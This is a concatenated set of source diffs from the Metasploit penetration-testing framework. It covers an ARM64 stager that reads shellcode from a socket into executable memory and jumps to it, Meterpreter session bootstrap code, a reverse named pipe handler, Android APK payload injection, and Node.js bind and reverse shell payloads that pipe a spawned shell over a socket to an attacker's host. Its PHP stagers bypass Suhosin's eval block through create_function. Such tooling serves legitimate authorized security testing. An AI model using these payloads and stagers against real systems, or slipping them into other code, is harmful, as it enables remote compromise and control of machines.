mov x8, SYS_MMAP
svc 0
/* Grab the saved size, save the address */
mov x4, x10
/* Save the memory address */
mov x3, x0
mov x10, x0
read_loop:
/* read(sockfd, buf='x3', nbytes='x4') */
mov x0, x12
mov x1, x3
mov x2, x4
mov x8, SYS_READ
svc 0
cbz w0, failed
add x3, x3, x0
subs x4, x4, x0
bne read_loop
/* add entry_offset */
adr x0, entry
ldr x0, [x0]
add x0, x0, x10
mov x14, x0
/* set up the initial stack */
mov x0, sp
and sp, x0, #-16
add sp, sp, #(16 * 6)
/* argc = 2, argv[0] = 'm' */
mov x0, #2
mov x1, #109
str x1, [sp]
mov x1, sp
mov x2, x12
mov x3, 0
mov x4, 0
mov x5, #7 /* AT_BASE */
mov x6, x10
mov x7, #6 /* AT_PAGESZ */
mov x8, #0x1000
mov x9, #25 /* AT_RANDOM */
mov x10, x10
mov x11, #0 /* AT_NULL */
stp x10, x11, [sp, #-16]!
stp x8, x9, [sp, #-16]!
stp x6, x7, [sp, #-16]!
stp x4, x5, [sp, #-16]!
stp x2, x3, [sp, #-16]!
stp x0, x1, [sp, #-16]!
mov x29, #0
mov x30, #0
br x14
failed:
mov x0, 0
mov x8, SYS_EXIT
svc 0
.balign 16
size:
.word 0
.word 0
entry:
.word 0
.word 0

View File

@ -37,9 +37,10 @@ start:
mov x2, #4 mov x2, #4
mov x8, SYS_READ mov x8, SYS_READ
svc 0 svc 0
cbz w0, failed cmn x0, #0x1
beq failed
ldr x2, [sp,#0] ldr w2, [sp,#0]
/* Page-align, assume <4GB */ /* Page-align, assume <4GB */
lsr x2, x2, #12 lsr x2, x2, #12
@ -53,12 +54,13 @@ start:
mov x3, #34 mov x3, #34
mov x4, xzr mov x4, xzr
mov x5, xzr mov x5, xzr
/* call mmap() */ mov x8, SYS_MMAP
movi x8, SYS_MMAP
svc 0 svc 0
cmn x0, #0x1
beq failed
/* Grab the saved size, save the address */ /* Grab the saved size, save the address */
ldr x4, [sp] ldr w4, [sp]
/* Save the memory address */ /* Save the memory address */
str x0, [sp] str x0, [sp]
@ -73,13 +75,15 @@ read_loop:
mov x2, x4 mov x2, x4
mov x8, SYS_READ mov x8, SYS_READ
svc 0 svc 0
cmn x0, #0x1
beq failed
add x3, x3, x0 add x3, x3, x0
subs x4, x4, x0 subs x4, x4, x0
bne read_loop bne read_loop
/* Go to shellcode */ /* Go to shellcode */
ldr x30, [sp] ldr x0, [sp]
ret blr x0
failed: failed:
mov x0, 0 mov x0, 0

View File

@ -30,7 +30,7 @@ module Metasploit
end end
end end
VERSION = "4.16.0" VERSION = "4.16.9"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev' PRERELEASE = 'dev'
HASH = get_hash HASH = get_hash

View File

@ -582,7 +582,7 @@ class ReadableText
row << 'N' row << 'N'
end end
if session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty? if session.exploit_datastore && session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
row << " (#{session.exploit_datastore['LURI']})" row << " (#{session.exploit_datastore['LURI']})"
else else
row << '?' row << '?'
@ -622,7 +622,7 @@ class ReadableText
sess_type = session.type.to_s sess_type = session.type.to_s
sess_uuid = session.payload_uuid.to_s sess_uuid = session.payload_uuid.to_s
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
sess_luri = session.exploit_datastore['LURI'] || "" sess_luri = session.exploit_datastore['LURI'] || "" if session.exploit_datastore
sess_enc = false sess_enc = false
if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key] if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key]
sess_enc = true sess_enc = true
@ -655,7 +655,7 @@ class ReadableText
out << " UUID: #{sess_uuid}\n" out << " UUID: #{sess_uuid}\n"
out << " CheckIn: #{sess_checkin}\n" out << " CheckIn: #{sess_checkin}\n"
out << " Registered: #{sess_registration}\n" out << " Registered: #{sess_registration}\n"
unless sess_luri.empty? unless (sess_luri || '').empty?
out << " LURI: #{sess_luri}\n" out << " LURI: #{sess_luri}\n"
end end

View File

@ -196,6 +196,10 @@ class HWBridge < Rex::Post::HWBridge::Client
attr_accessor :console # :nodoc: attr_accessor :console # :nodoc:
attr_accessor :alive # :nodoc: attr_accessor :alive # :nodoc:
attr_accessor :api_version
attr_accessor :fw_version
attr_accessor :hw_version
attr_accessor :device_name
private private
attr_accessor :rstream # :nodoc: attr_accessor :rstream # :nodoc:

View File

@ -40,6 +40,14 @@ class Meterpreter < Rex::Post::Meterpreter::Client
true true
end end
def tunnel_to_s
if self.pivot_session
"Pivot via [#{self.pivot_session.tunnel_to_s}]"
else
super
end
end
# #
# Initializes a meterpreter session instance using the supplied rstream # Initializes a meterpreter session instance using the supplied rstream
# that is to be used as the client's connection to the server. # that is to be used as the client's connection to the server.
@ -112,6 +120,80 @@ class Meterpreter < Rex::Post::Meterpreter::Client
end end
def bootstrap(datastore = {}, handler = nil)
session = self
init_session = Proc.new do
# Configure unicode encoding before loading stdapi
session.encode_unicode = datastore['EnableUnicodeEncoding']
session.init_ui(self.user_input, self.user_output)
session.tlv_enc_key = session.core.negotiate_tlv_encryption
unless datastore['AutoVerifySession'] == false
unless session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i)
print_error("Meterpreter session #{session.sid} is not valid and will be closed")
# Terminate the session without cleanup if it did not validate
session.skip_cleanup = true
session.kill
return nil
end
end
# always make sure that the new session has a new guid if it's not already known
guid = session.session_guid
if guid == "\x00" * 16
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
session.core.set_session_guid(guid)
session.session_guid = guid
# TODO: New statgeless session, do some account in the DB so we can track it later.
else
# TODO: This session was either staged or previously known, and so we shold do some accounting here!
end
unless datastore['AutoLoadStdapi'] == false
session.load_stdapi
unless datastore['AutoSystemInfo'] == false
session.load_session_info
end
# only load priv on native windows
# TODO: abastrct this too, to remove windows stuff
if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
session.load_priv rescue nil
end
end
# TODO: abstract this a little, perhaps a "post load" function that removes
# platform-specific stuff?
if session.platform == 'android'
session.load_android
end
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
unless datastore[key].nil? || datastore[key].empty?
args = Shellwords.shellwords(datastore[key])
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
session.execute_script(args.shift, *args)
end
end
# Process the auto-run scripts for this session
if self.respond_to?(:process_autoruns)
self.process_autoruns(datastore)
end
# Tell the handler that we have a session
handler.on_session(self) if handler
end
# Defer the session initialization to the Session Manager scheduler
framework.sessions.schedule init_session
end
## ##
# :category: Msf::Session::Provider::SingleCommandShell implementors # :category: Msf::Session::Provider::SingleCommandShell implementors
# #
@ -255,14 +337,14 @@ class Meterpreter < Rex::Post::Meterpreter::Client
# #
# Terminates the session # Terminates the session
# #
def kill def kill(reason='')
begin begin
cleanup_meterpreter cleanup_meterpreter
self.sock.close if self.sock self.sock.close if self.sock
rescue ::Exception rescue ::Exception
end end
# deregister will actually trigger another cleanup # deregister will actually trigger another cleanup
framework.sessions.deregister(self) framework.sessions.deregister(self, reason)
end end
# #

View File

@ -3,105 +3,74 @@
require 'shellwords' require 'shellwords'
module Msf module Msf
module Sessions module Sessions
module MeterpreterOptions #
# Defines common options across all Meterpreter implementations
#
module MeterpreterOptions
def initialize(info = {}) TIMEOUT_SESSION = 24 * 3600 * 7 # 1 week
super(info) TIMEOUT_COMMS = 300 # 5 minutes
TIMEOUT_RETRY_TOTAL = 60 * 60 # 1 hour
TIMEOUT_RETRY_WAIT = 10 # 10 seconds
register_advanced_options( def initialize(info = {})
[ super(info)
OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]),
OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]), register_advanced_options(
OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 30]), [
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']), OptBool.new(
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']), 'AutoLoadStdapi',
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]), [true, "Automatically load the Stdapi extension", true]
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]), ),
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]), OptBool.new(
OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]), 'AutoVerifySession',
OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]), [true, "Automatically verify and drop invalid sessions", true]
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]), ),
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', Rex::Post::Meterpreter::ClientCore::TIMEOUT_COMMS]) OptInt.new(
], self.class) 'AutoVerifySessionTimeout',
[false, "Timeout period to wait for session validation to occur, in seconds", 30]
),
OptString.new(
'InitialAutoRunScript',
[false, "An initial script to run on session creation (before AutoRunScript)", '']
),
OptString.new(
'AutoRunScript',
[false, "A script to run automatically on session creation.", '']
),
OptBool.new(
'AutoSystemInfo',
[true, "Automatically capture system information on initialization.", true]
),
OptBool.new(
'EnableUnicodeEncoding',
[true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]
),
OptPath.new(
'HandlerSSLCert',
[false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]
),
OptInt.new(
'SessionRetryTotal',
[false, "Number of seconds try reconnecting for on network failure", TIMEOUT_RETRY_TOTAL]
),
OptInt.new(
'SessionRetryWait',
[false, "Number of seconds to wait between reconnect attempts", TIMEOUT_RETRY_WAIT]
),
OptInt.new(
'SessionExpirationTimeout',
[ false, 'The number of seconds before this session should be forcibly shut down', TIMEOUT_SESSION]
),
OptInt.new(
'SessionCommunicationTimeout',
[ false, 'The number of seconds of no activity before this session should be killed', TIMEOUT_COMMS]
)
],
self.class
)
end
end
end end
#
# Once a session is created, automatically load the stdapi extension if the
# advanced option is set to true.
#
def on_session(session)
super
# Defer the session initialization to the Session Manager scheduler
framework.sessions.schedule Proc.new {
# Configure unicode encoding before loading stdapi
session.encode_unicode = datastore['EnableUnicodeEncoding']
session.init_ui(self.user_input, self.user_output)
valid = true
session.tlv_enc_key = session.core.negotiate_tlv_encryption
if datastore['AutoVerifySession']
if not session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i)
print_error("Meterpreter session #{session.sid} is not valid and will be closed")
valid = false
end
end
if valid
# always make sure that the new session has a new guid if it's not already known
guid = session.session_guid
if guid == '00000000-0000-0000-0000-000000000000'
guid = SecureRandom.uuid
session.core.set_session_guid(guid)
session.session_guid = guid
# TODO: New statgeless session, do some account in the DB so we can track it later.
else
# TODO: This session was either staged or previously known, and so we shold do some accounting here!
end
if datastore['AutoLoadStdapi']
session.load_stdapi
if datastore['AutoSystemInfo']
session.load_session_info
end
# only load priv on native windows
if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
session.load_priv rescue nil
end
end
if session.platform == 'android'
session.load_android
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
unless datastore[key].empty?
args = Shellwords.shellwords( datastore[key] )
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
session.execute_script(args.shift, *args)
end
end
end
# Terminate the session without cleanup if it did not validate
if not valid
session.skip_cleanup = true
session.kill
end
}
end
end end
end
end

View File

@ -44,6 +44,7 @@ module Auxiliary::Login
Unable | Error | Denied | Reject | Unable | Error | Denied | Reject |
Refuse | Close | Closing | %\ Bad | Refuse | Close | Closing | %\ Bad |
Sorry | Sorry |
^http | html |
Not\ on\ system\ console | Not\ on\ system\ console |
Enter\ username\ and\ password | Enter\ username\ and\ password |
Auto\ Apply\ On | Auto\ Apply\ On |

View File

@ -43,18 +43,20 @@ module Auxiliary::UDPScanner
datastore['BATCHSIZE'].to_i datastore['BATCHSIZE'].to_i
end end
def udp_socket(ip, port) def udp_socket(ip, port, bind_peer: true)
key = "#{ip}:#{port}:#{bind_peer ? 'bound' : 'unbound'}"
@udp_sockets_mutex.synchronize do @udp_sockets_mutex.synchronize do
key = "#{ip}:#{port}"
unless @udp_sockets.key?(key) unless @udp_sockets.key?(key)
@udp_sockets[key] = sock_info = {
Rex::Socket::Udp.create({ 'LocalHost' => datastore['CHOST'] || nil,
'LocalHost' => datastore['CHOST'] || nil, 'LocalPort' => datastore['CPORT'] || 0,
'LocalPort' => datastore['CPORT'] || 0, 'Context' => { 'Msf' => framework, 'MsfExploit' => self }
'PeerHost' => ip, }
'PeerPort' => port, if bind_peer
'Context' => { 'Msf' => framework, 'MsfExploit' => self } sock_info['PeerHost'] = ip
}) sock_info['PeerPort'] = port
end
@udp_sockets[key] = Rex::Socket::Udp.create(sock_info)
add_socket(@udp_sockets[key]) add_socket(@udp_sockets[key])
end end
return @udp_sockets[key] return @udp_sockets[key]
@ -123,10 +125,16 @@ module Auxiliary::UDPScanner
data = data.to_binary_s if data.respond_to?('to_binary_s') data = data.to_binary_s if data.respond_to?('to_binary_s')
resend_count = 0 resend_count = 0
sock = nil
begin begin
sock = udp_socket(ip, port) addrinfo = Addrinfo.ip(ip)
sock.send(data, 0) unless addrinfo.ipv4_multicast? || addrinfo.ipv6_multicast?
sock = udp_socket(ip, port, bind_peer: true)
sock.send(data, 0)
else
sock = udp_socket(ip, port, bind_peer: false)
sock.sendto(data, ip, port, 0)
end
rescue ::Errno::ENOBUFS rescue ::Errno::ENOBUFS
resend_count += 1 resend_count += 1
@ -136,8 +144,7 @@ module Auxiliary::UDPScanner
end end
scanner_recv(0.1) scanner_recv(0.1)
sleep(0.25)
::IO.select(nil, nil, nil, 0.25)
retry retry

View File

@ -74,7 +74,7 @@ module Msf::DBManager::Import::Nessus::XML::V2
nasl = item['nasl'].to_s nasl = item['nasl'].to_s
nasl_name = item['nasl_name'].to_s nasl_name = item['nasl_name'].to_s
port = item['port'].to_s port = item['port'].to_s
proto = item['proto'] || "tcp" proto = item['proto'] ? item['proto'].downcase : "tcp"
sname = item['svc_name'] sname = item['svc_name']
severity = item['severity'] severity = item['severity']
description = item['description'] description = item['description']

View File

@ -10,12 +10,12 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
# @param pass [String] Password # @param pass [String] Password
# @param redirect URL [String] to redirect after successful login # @param redirect URL [String] to redirect after successful login
# @return [Hash] The post data for vars_post Parameter # @return [Hash] The post data for vars_post Parameter
def wordpress_helper_login_post_data(user, pass, redirect=nil) def wordpress_helper_login_post_data(user, pass, redirect = nil)
post_data = { post_data = {
'log' => user.to_s, 'log' => user.to_s,
'pwd' => pass.to_s, 'pwd' => pass.to_s,
'redirect_to' => redirect.to_s, 'redirect_to' => redirect.to_s,
'wp-submit' => 'Login' 'wp-submit' => 'Login'
} }
post_data post_data
end end
@ -31,23 +31,23 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
# @return [String,nil] The location of the new comment/post, nil on error # @return [String,nil] The location of the new comment/post, nil on error
def wordpress_helper_post_comment(comment, comment_post_id, login_cookie, author, email, url) def wordpress_helper_post_comment(comment, comment_post_id, login_cookie, author, email, url)
vars_post = { vars_post = {
'comment' => comment, 'comment' => comment,
'submit' => 'Post+Comment', 'submit' => 'Post+Comment',
'comment_post_ID' => comment_post_id.to_s, 'comment_post_ID' => comment_post_id.to_s,
'comment_parent' => '0' 'comment_parent' => '0'
} }
vars_post.merge!({ vars_post.merge!({
'author' => author, 'author' => author,
'email' => email, 'email' => email,
'url' => url, 'url' => url
}) unless login_cookie }) unless login_cookie
options = { options = {
'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'), 'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'),
'method' => 'POST' 'method' => 'POST'
} }
options.merge!({'vars_post' => vars_post}) options.merge!({ 'vars_post' => vars_post })
options.merge!({'cookie' => login_cookie}) if login_cookie options.merge!({ 'cookie' => login_cookie }) if login_cookie
res = send_request_cgi(options) res = send_request_cgi(options)
if res && res.redirect? && res.redirection if res && res.redirect? && res.redirection
return wordpress_helper_parse_location_header(res) return wordpress_helper_parse_location_header(res)
@ -65,7 +65,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
# @param comments_enabled [Boolean] If true try to find a post id with comments enabled, otherwise return the first found # @param comments_enabled [Boolean] If true try to find a post id with comments enabled, otherwise return the first found
# @param login_cookie [String] A valid login cookie to perform the bruteforce as an authenticated user # @param login_cookie [String] A valid login cookie to perform the bruteforce as an authenticated user
# @return [Integer,nil] The post id, nil when nothing found # @return [Integer,nil] The post id, nil when nothing found
def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil) def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled = false, login_cookie = nil)
range.each { |id| range.each { |id|
vprint_status("Checking POST ID #{id}...") if (id % 100) == 0 vprint_status("Checking POST ID #{id}...") if (id % 100) == 0
body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie) body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
@ -81,15 +81,15 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
# @param comments_enabled [Boolean] Check if comments are enabled on this post # @param comments_enabled [Boolean] Check if comments are enabled on this post
# @param login_cookie [String] A valid login cookie to perform the check as an authenticated user # @param login_cookie [String] A valid login cookie to perform the check as an authenticated user
# @return [String,nil] the HTTP response body of the post, nil otherwise # @return [String,nil] the HTTP response body of the post, nil otherwise
def wordpress_helper_check_post_id(uri, comments_enabled=false, login_cookie=nil) def wordpress_helper_check_post_id(uri, comments_enabled = false, login_cookie = nil)
options = { options = {
'method' => 'GET', 'method' => 'GET',
'uri' => uri 'uri' => uri
} }
options.merge!({'cookie' => login_cookie}) if login_cookie options.merge!({ 'cookie' => login_cookie }) if login_cookie
res = send_request_cgi(options) res = send_request_cgi(options)
# post exists # post exists
if res and res.code == 200 if res && res.code == 200
# also check if comments are enabled # also check if comments are enabled
if comments_enabled if comments_enabled
if res.body =~ /form.*action.*wp-comments-post\.php/ if res.body =~ /form.*action.*wp-comments-post\.php/
@ -123,8 +123,8 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
# #
# @param cookie [String] A valid admin session cookie # @param cookie [String] A valid admin session cookie
# @return [String,nil] The nonce, nil on error # @return [String,nil] The nonce, nil on error
def wordpress_helper_get_plugin_upload_nonce(cookie) def wordpress_helper_get_plugin_upload_nonce(cookie, path = nil)
uri = normalize_uri(wordpress_url_backend, 'plugin-install.php') uri = path || normalize_uri(wordpress_url_backend, 'plugin-install.php')
options = { options = {
'method' => 'GET', 'method' => 'GET',
'uri' => uri, 'uri' => uri,
@ -134,6 +134,9 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
res = send_request_cgi(options) res = send_request_cgi(options)
if res && res.code == 200 if res && res.code == 200
return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1] return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
elsif res && res.redirect? && res.redirection
path = wordpress_helper_parse_location_header(res)
return wordpress_helper_get_plugin_upload_nonce(cookie, path)
end end
end end
end end

View File

@ -244,11 +244,10 @@ protected
framework.sessions.register(session) framework.sessions.register(session)
# Call the handler's on_session() method # Call the handler's on_session() method
on_session(session) if session.respond_to?(:bootstrap)
session.bootstrap(datastore, self)
# Process the auto-run scripts for this session else
if session.respond_to?('process_autoruns') on_session(session)
session.process_autoruns(datastore)
end end
# If there is an exploit associated with this payload, then let's notify # If there is an exploit associated with this payload, then let's notify

View File

@ -0,0 +1,76 @@
# -*- coding: binary -*-
require 'thread'
require 'msf/core/post_mixin'
module Msf
module Handler
###
#
# TODO: docs
#
###
module ReverseNamedPipe
include Msf::Handler
#
# Returns the string representation of the handler type, in this case
# 'reverse_named_pipe'.
#
def self.handler_type
"reverse_named_pipe"
end
#
# Returns the connection-described general handler type, in this case
# 'reverse'.
#
def self.general_handler_type
"reverse"
end
#
# Initializes the reverse handler and ads the options that are required
# for reverse named pipe payloads.
#
def initialize(info={})
super
register_options([
OptString.new('PIPENAME', [true, 'Name of the pipe to listen on', 'msf-pipe']),
OptString.new('PIPEHOST', [true, 'Host of the pipe to connect to', '.'])
], Msf::Handler::ReverseNamedPipe)
end
#
# Closes the listener socket if one was created.
#
def cleanup_handler
# we're just pretending to be a handler
end
# A string suitable for displaying to the user
#
# @return [String]
def human_name
"reverse named pipe"
end
#
# Starts monitoring for an inbound connection.
#
def start_handler
# we're just pretending to be a handler
end
#
# Stops monitoring for an inbound connection.
#
def stop_handler
# we're just pretending to be a handler
end
end
end
end

View File

@ -352,6 +352,14 @@ class Msf::Module::Platform
Alias = "java" Alias = "java"
end end
#
# R
#
class R < Msf::Module::Platform
Rank = 100
Alias = "r"
end
# #
# Ruby # Ruby
# #

View File

@ -41,7 +41,10 @@ class Msf::Payload::Apk
application = amanifest.xpath('//application') application = amanifest.xpath('//application')
application_name = application.attribute("name") application_name = application.attribute("name")
if application_name if application_name
return application_name.to_s application_str = application_name.to_s
unless application_str == 'android.app.Application'
return application_str
end
end end
activities = amanifest.xpath("//activity|//activity-alias") activities = amanifest.xpath("//activity|//activity-alias")
for activity in activities for activity in activities
@ -221,7 +224,7 @@ class Msf::Payload::Apk
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali") FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
package = amanifest.xpath("//manifest").first['package'] package = amanifest.xpath("//manifest").first['package']
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}" package = package.downcase + ".#{Rex::Text::rand_text_alpha_lower(5)}"
classes = {} classes = {}
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize

View File

@ -31,7 +31,7 @@ module Payload::Linux::BindTcp
# Generate the more advanced stager if we have the space # Generate the more advanced stager if we have the space
if self.available_space && required_space <= self.available_space if self.available_space && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC'], conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true conf[:reliable] = true
end end

View File

@ -18,8 +18,13 @@ module Msf::Payload::NodeJS
var server = net.createServer(function(socket) { var server = net.createServer(function(socket) {
var sh = cp.spawn(cmd, []); var sh = cp.spawn(cmd, []);
socket.pipe(sh.stdin); socket.pipe(sh.stdin);
util.pump(sh.stdout, socket); if (typeof util.pump === "undefined") {
util.pump(sh.stderr, socket); sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
}); });
server.listen(#{datastore['LPORT']}); server.listen(#{datastore['LPORT']});
})(); })();
@ -53,8 +58,13 @@ module Msf::Payload::NodeJS
var client = this; var client = this;
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() { client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
client.socket.pipe(sh.stdin); client.socket.pipe(sh.stdin);
util.pump(sh.stdout, client.socket); if (typeof util.pump === "undefined") {
util.pump(sh.stderr, client.socket); sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
}); });
})(); })();
EOS EOS

View File

@ -109,7 +109,15 @@ while (strlen($b) < $len) {
# Set up the socket for the main stage to use. # Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s; $GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type; $GLOBALS['msgsock_type'] = $s_type;
eval($b); if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
{
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
}
else
{
eval($b);
}
die();^ die();^
end end

View File

@ -102,7 +102,15 @@ while (strlen($b) < $len) {
# Set up the socket for the main stage to use. # Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s; $GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type; $GLOBALS['msgsock_type'] = $s_type;
eval($b); if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
{
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
}
else
{
eval($b);
}
die();^ die();^
end end

View File

@ -165,8 +165,6 @@ module Msf::Payload::Stager
# If the stage should be sent over the client connection that is # If the stage should be sent over the client connection that is
# established (which is the default), then go ahead and transmit it. # established (which is the default), then go ahead and transmit it.
if (stage_over_connection?) if (stage_over_connection?)
opts = {}
if respond_to? :include_send_uuid if respond_to? :include_send_uuid
if include_send_uuid if include_send_uuid
uuid_raw = conn.get_once(16, 1) uuid_raw = conn.get_once(16, 1)

View File

@ -11,31 +11,35 @@ module Msf::Payload::TransportConfig
include Msf::Payload::UUID::Options include Msf::Payload::UUID::Options
def transport_config_reverse_tcp(opts={}) def transport_config_reverse_tcp(opts={})
ds = opts[:datastore] || datastore
config = transport_config_bind_tcp(opts) config = transport_config_bind_tcp(opts)
config[:lhost] = datastore['LHOST'] config[:lhost] = ds['LHOST']
config config
end end
def transport_config_reverse_ipv6_tcp(opts={}) def transport_config_reverse_ipv6_tcp(opts={})
ds = opts[:datastore] || datastore
config = transport_config_reverse_tcp(opts) config = transport_config_reverse_tcp(opts)
config[:scheme] = 'tcp6' config[:scheme] = 'tcp6'
config[:scope_id] = datastore['SCOPEID'] config[:scope_id] = ds['SCOPEID']
config config
end end
def transport_config_bind_tcp(opts={}) def transport_config_bind_tcp(opts={})
ds = opts[:datastore] || datastore
{ {
scheme: 'tcp', scheme: 'tcp',
lhost: datastore['LHOST'], lhost: ds['LHOST'],
lport: datastore['LPORT'].to_i lport: ds['LPORT'].to_i
}.merge(timeout_config) }.merge(timeout_config(opts))
end end
def transport_config_reverse_https(opts={}) def transport_config_reverse_https(opts={})
ds = opts[:datastore] || datastore
config = transport_config_reverse_http(opts) config = transport_config_reverse_http(opts)
config[:scheme] = datastore['OverrideScheme'] || 'https' config[:scheme] = ds['OverrideScheme'] || 'https'
config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], config[:ssl_cert_hash] = get_ssl_cert_hash(ds['StagerVerifySSLCert'],
datastore['HandlerSSLCert']) ds['HandlerSSLCert'])
config config
end end
@ -50,27 +54,38 @@ module Msf::Payload::TransportConfig
uri = luri + generate_uri_uuid(sum, opts[:uuid]) uri = luri + generate_uri_uuid(sum, opts[:uuid])
end end
ds = opts[:datastore] || datastore
{ {
scheme: datastore['OverrideScheme'] || 'http', scheme: ds['OverrideScheme'] || 'http',
lhost: opts[:lhost] || datastore['LHOST'], lhost: opts[:lhost] || ds['LHOST'],
lport: (opts[:lport] || datastore['LPORT']).to_i, lport: (opts[:lport] || ds['LPORT']).to_i,
uri: uri, uri: uri,
ua: datastore['MeterpreterUserAgent'], ua: ds['MeterpreterUserAgent'],
proxy_host: datastore['PayloadProxyHost'], proxy_host: ds['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'], proxy_port: ds['PayloadProxyPort'],
proxy_type: datastore['PayloadProxyType'], proxy_type: ds['PayloadProxyType'],
proxy_user: datastore['PayloadProxyUser'], proxy_user: ds['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'] proxy_pass: ds['PayloadProxyPass']
}.merge(timeout_config) }.merge(timeout_config(opts))
end
def transport_config_reverse_named_pipe(opts={})
ds = opts[:datastore] || datastore
{
scheme: 'pipe',
lhost: ds[:pipe_host] || ds['PIPEHOST'],
uri: "/#{ds[:pipe_host] || ds['PIPENAME']}"
}.merge(timeout_config(opts))
end end
private private
def timeout_config def timeout_config(opts={})
ds = opts[:datastore] || datastore
{ {
comm_timeout: datastore['SessionCommunicationTimeout'].to_i, comm_timeout: (ds[:comm_timeout] || ds['SessionCommunicationTimeout']).to_i,
retry_total: datastore['SessionRetryTotal'].to_i, retry_total: (ds[:retry_total] || ds['SessionRetryTotal']).to_i,
retry_wait: datastore['SessionRetryWait'].to_i retry_wait: (ds[:retry_wait] || ds['SessionRetryWait']).to_i
} }
end end

View File

@ -35,7 +35,7 @@ module Payload::Windows::BindTcp
# Generate the more advanced stager if we have the space # Generate the more advanced stager if we have the space
if self.available_space && required_space <= self.available_space if self.available_space && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC'], conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true conf[:reliable] = true
end end

View File

@ -33,7 +33,7 @@ module Payload::Windows::BindTcpRc4
# Generate the more advanced stager if we have the space # Generate the more advanced stager if we have the space
if self.available_space && required_space <= self.available_space if self.available_space && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC'], conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true conf[:reliable] = true
end end

View File

